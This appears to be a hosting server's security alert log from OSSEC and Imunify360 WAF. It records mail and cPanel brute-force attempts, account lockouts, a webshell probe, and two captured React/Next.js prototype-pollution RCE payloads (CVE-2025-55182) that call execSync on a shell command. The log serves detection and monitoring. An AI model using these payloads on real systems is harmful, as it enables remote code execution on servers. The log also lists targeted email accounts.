# incident

plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-01 21:15:05 +0800] info [cpaneld] 185.204.54.153 - ynohpmys "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ynohpmys (has_cpuser_file failed)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:15:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account stacy@ktlog.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.93.156.245
country_id: 1269750
description:
2026-02-01 21:15:21 dovecot_login authenticator failed for H=([59.93.156.245]) [59.93.156.245]:41727: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-01 21:15:34 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:48288: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:15:39 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54322: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-02-01 21:16:49 dovecot_login authenticator failed for H=(host-64-72-74-162.lightower.net) [64.72.74.162]:36446: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.190
country_id: 1814991
description:
2026-02-01 21:17:00 dovecot_login authenticator failed for H=([111.61.177.190]) [111.61.177.190]:56326: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 21:16:16 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:49190: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 21:16:18 dovecot_login authenticator failed for H=(tmU1xUwz) [178.16.54.22]:50925: 535 Incorrect authentication data (set_id=shutters@col.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:16:22 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:16:24 dovecot_login authenticator failed for H=(se340BX) [158.94.208.175]:59289: 535 Incorrect authentication data (set_id=stacy@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:16:06 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62349: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-02-01 21:16:07 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:57520: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:17:13 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56900: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.30.20.98
country_id: 1814991
description:
2026-02-01 21:17:14 dovecot_login authenticator failed for H=([1.30.20.98]) [1.30.20.98]:60102: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.175.63.237
country_id: 1269750
description:
2026-02-01 21:17:44 dovecot_plain authenticator failed for H=(X58MAJ152S6) [103.175.63.237]:3087: 535 Incorrect authentication data (set_id=rnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 21:17:06 dovecot_login authenticator failed for H=(22bsMXDcC) [178.16.54.22]:55215: 535 Incorrect authentication data (set_id=scchee.vcb@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:17:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account stacy@ktlog.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:17:11 dovecot_login authenticator failed for H=(ONIJFmx6) [158.94.208.175]:56713: 535 Incorrect authentication data (set_id=stacy@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.37.203.28
country_id: 1831722
description:
2026-02-01 21:17:15 dovecot_login authenticator failed for H=([36.37.203.28]) [36.37.203.28]:48884: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.60.77.128
country_id: 6252001
description:
2026-02-01 21:18:42 dovecot_plain authenticator failed for H=c-68-60-77-128.hsd1.mi.comcast.net (suraldefia) [68.60.77.128]:32962: 535 Incorrect authentication data (set_id=seanlee@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:18:05 dovecot_login authenticator failed for H=(EyRJZnw) [158.94.208.175]:57972: 535 Incorrect authentication data (set_id=stacy@ktlog.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:18:41 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61438: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:18:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account stacy@ktlog.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 21:18:20 dovecot_login authenticator failed for H=(Ra3qrx2) [178.16.54.22]:49746: 535 Incorrect authentication data (set_id=scchee.vcb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 21:18:32 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:44844: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:18:10 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52238: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 21:19:05 dovecot_login authenticator failed for H=(Rp3M1N) [178.16.54.22]:52889: 535 Incorrect authentication data (set_id=scchee.vcb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:19:22 dovecot_login authenticator failed for H=(PAfFIgJOK) [158.94.208.175]:58741: 535 Incorrect authentication data (set_id=stacy@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.224.207.188
country_id: 163843
description:
2026-02-01 21:19:23 dovecot_plain authenticator failed for H=(15WC133) [129.224.207.188]:35721: 535 Incorrect authentication data (set_id=wanfazris@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:19:49 dovecot_login authenticator failed for H=(AePz64oyn) [178.16.52.139]:64882: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.217.108.153
country_id: 2017370
description:
2026-02-01 21:20:00 dovecot_login authenticator failed for H=(178-217-108-153.u-lan.ru) [178.217.108.153]:42644: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:19:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63468: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:20:16 dovecot_login authenticator failed for H=(hdA482azN) [158.94.208.175]:58751: 535 Incorrect authentication data (set_id=stacy@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 21:20:48 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:54200: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-02-01 21:20:25 dovecot_login authenticator failed for H=(static.ill.117.211.15.106.bsnl.co.in) [117.211.15.93]:47282: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:20:15 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62249: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:21:17 dovecot_login authenticator failed for H=(LJECOzTMq) [158.94.208.175]:54601: 535 Incorrect authentication data (set_id=stacy@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:21:22 dovecot_login authenticator failed for H=(DaogSD51NT) [178.16.52.139]:64098: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:21:26 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65072: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:21:32 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63568: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.227.147.94
country_id: 290557
description:
2026-02-01 21:21:47 dovecot_login authenticator failed for H=([80.227.147.94]) [80.227.147.94]:49546: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 21:21:58 dovecot_login authenticator failed for H=(zS13KBL) [178.16.54.22]:64972: 535 Incorrect authentication data (set_id=scchee.vcb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:22:17 dovecot_login authenticator failed for H=(2z47Oi4V9B) [178.16.52.139]:50996: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 21:22:27 dovecot_login authenticator failed for H=(eJnXeeaQNc) [178.16.54.22]:55308: 535 Incorrect authentication data (set_id=scchee.vcb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.58
country_id: 1814991
description:
2026-02-01 21:22:34 dovecot_login authenticator failed for H=([111.61.176.58]) [111.61.176.58]:56162: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/keyword/img/druma.php||SC:/home/indfinitydesign/public_html/keyword||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.95.14.102
country_id: 1835841
description:
2026-02-01 21:22:07 dovecot_login authenticator failed for H=([220.95.14.102]) [220.95.14.102]:58424: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:22:12 dovecot_login authenticator failed for H=(CDGrWW) [158.94.208.175]:57190: 535 Incorrect authentication data (set_id=stacy@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.86.4
country_id: 1814991
description:
2026-02-01 21:22:47 dovecot_login authenticator failed for H=([60.174.86.4]) [60.174.86.4]:34717: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 12.150.243.22
country_id: 6252001
description:
2026-02-01 21:22:04 dovecot_plain authenticator failed for H=(feinhaint) [12.150.243.22]:63867: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:22:11 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58058: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:23:06 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50420: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:23:47 dovecot_login authenticator failed for H=(63Ke08C) [178.16.52.139]:58326: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 21:23:04 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50040: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:23:14 dovecot_login authenticator failed for H=(8H82JkzZFi) [158.94.208.175]:58079: 535 Incorrect authentication data (set_id=stacy@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 21:23:50 dovecot_login authenticator failed for H=(Qio5ZdmP) [178.16.54.22]:49308: 535 Incorrect authentication data (set_id=scchee.vcb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.229.196.6
country_id: 732800
description:
2026-02-01 21:23:50 dovecot_plain authenticator failed for H=(surfeagan) [46.229.196.6]:40810: 535 Incorrect authentication data (set_id=khairul_aa@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-01 21:23:25 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:33644: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:24:45 dovecot_login authenticator failed for H=(FVGCRWUOk9) [178.16.52.139]:60815: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:24:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63220: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 21:24:18 dovecot_login authenticator failed for H=(kL8GHlW3) [178.16.54.22]:56615: 535 Incorrect authentication data (set_id=scchee.vcb@vc-b.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:24:30 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63220: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.80.238.162
country_id: 1814991
description:
2026-02-01 21:25:00 dovecot_login authenticator failed for H=([218.80.238.162]) [218.80.238.162]:38897: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:24:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account stacy@ktlog.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-02-01 21:24:07 H=([167.148.167.71]) [167.148.167.71]:62502 F=<Server@ktlog.com.my> rejected RCPT <marylinkoh@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:24:08 dovecot_login authenticator failed for H=(qASlO0TLMZ) [158.94.208.175]:56601: 535 Incorrect authentication data (set_id=stacy@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.108.233.190
country_id: 1835841
description:
2026-02-01 21:25:17 dovecot_login authenticator failed for H=([106.10.69.50]) [183.108.233.190]:37452: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.191.97
country_id: 99237
description:
2026-02-01 21:25:15 dovecot_login authenticator failed for H=([65.20.191.97]) [65.20.191.97]:47663: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 21:25:18 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36732: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.84.130
country_id: 2017370
description:
2026-02-01 21:25:42 dovecot_login authenticator failed for H=([83.239.84.130]) [83.239.84.130]:40757: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 136.158.79.227
country_id: 1694008
domain: astlog.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:83235.astlog.com.my||ServerName:astlog.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:05b9241933c566a0cc18d170844d9774a28663da||Title:0xb9956bfd||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:25:08 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59294: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:25:17 dovecot_login authenticator failed for H=(RWZaQoQyr2) [158.94.208.175]:54682: 535 Incorrect authentication data (set_id=stacy@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:25:18 dovecot_login authenticator failed for H=(VfsU08Fy) [178.16.52.139]:58128: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:25:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account stacy@ktlog.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:26:16 dovecot_login authenticator failed for H=(JPjDcMZ5) [178.16.52.139]:52200: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:26:25 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account stacy@ktlog.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 21:26:46 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account enquiry@smartcable.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:26:07 dovecot_login authenticator failed for H=(An2wF17kR) [158.94.208.175]:51721: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:26:08 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56345: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.30.11.253
country_id: 6252001
description:
2026-02-01 21:27:35 dovecot_plain authenticator failed for H=(milinochia) [23.30.11.253]:34345: 535 Incorrect authentication data (set_id=jun@kdiballoon.com)


plugin: modsec
rule: 77093094
abuser: 213.177.179.61
country_id: 1668284
domain: ahfengineering.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo $((44160*44360))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:27:16 dovecot_login authenticator failed for H=(2n2faELJi) [178.16.52.139]:57032: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 21:27:34 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:53646: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:27:13 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50399: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 21:27:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account enquiry@smartcable.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:27:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account stacy@ktlog.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:27:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64360: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:27:05 dovecot_login authenticator failed for H=(wlc7Nb7N) [158.94.208.175]:61317: 535 Incorrect authentication data (set_id=stacy@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:28:02 dovecot_login authenticator failed for H=(85sbw5PR) [158.94.208.175]:63284: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:28:05 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58520: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77093094
abuser: 213.177.179.61
country_id: 1668284
domain: ahfengineering.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('powershell -c \\\"44160*44360\\\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 21:28:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account enquiry@smartcable.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:28:05 dovecot_login authenticator failed for H=(Su3pJzeYN) [178.16.52.139]:51740: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 130.193.224.155
country_id: 99237
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=57731515983204 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.178.121.120
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=4160 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-02-01 21:28:55 H=([167.148.167.71]) [167.148.167.71]:63272 F=<Server@ms-chemicals.net> rejected RCPT <miko@ms-chemicals.net>: smtp auth required


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:28:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account stacy@ktlog.com.my has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:29:10 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60910: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:29:19 dovecot_login authenticator failed for H=(YnAAxg5S) [178.16.52.139]:61943: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.228.24.240
country_id: 6252001
description:
2026-02-01 21:29:20 dovecot_plain authenticator failed for H=([10.21.18.142]) [140.228.24.240]:45029: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
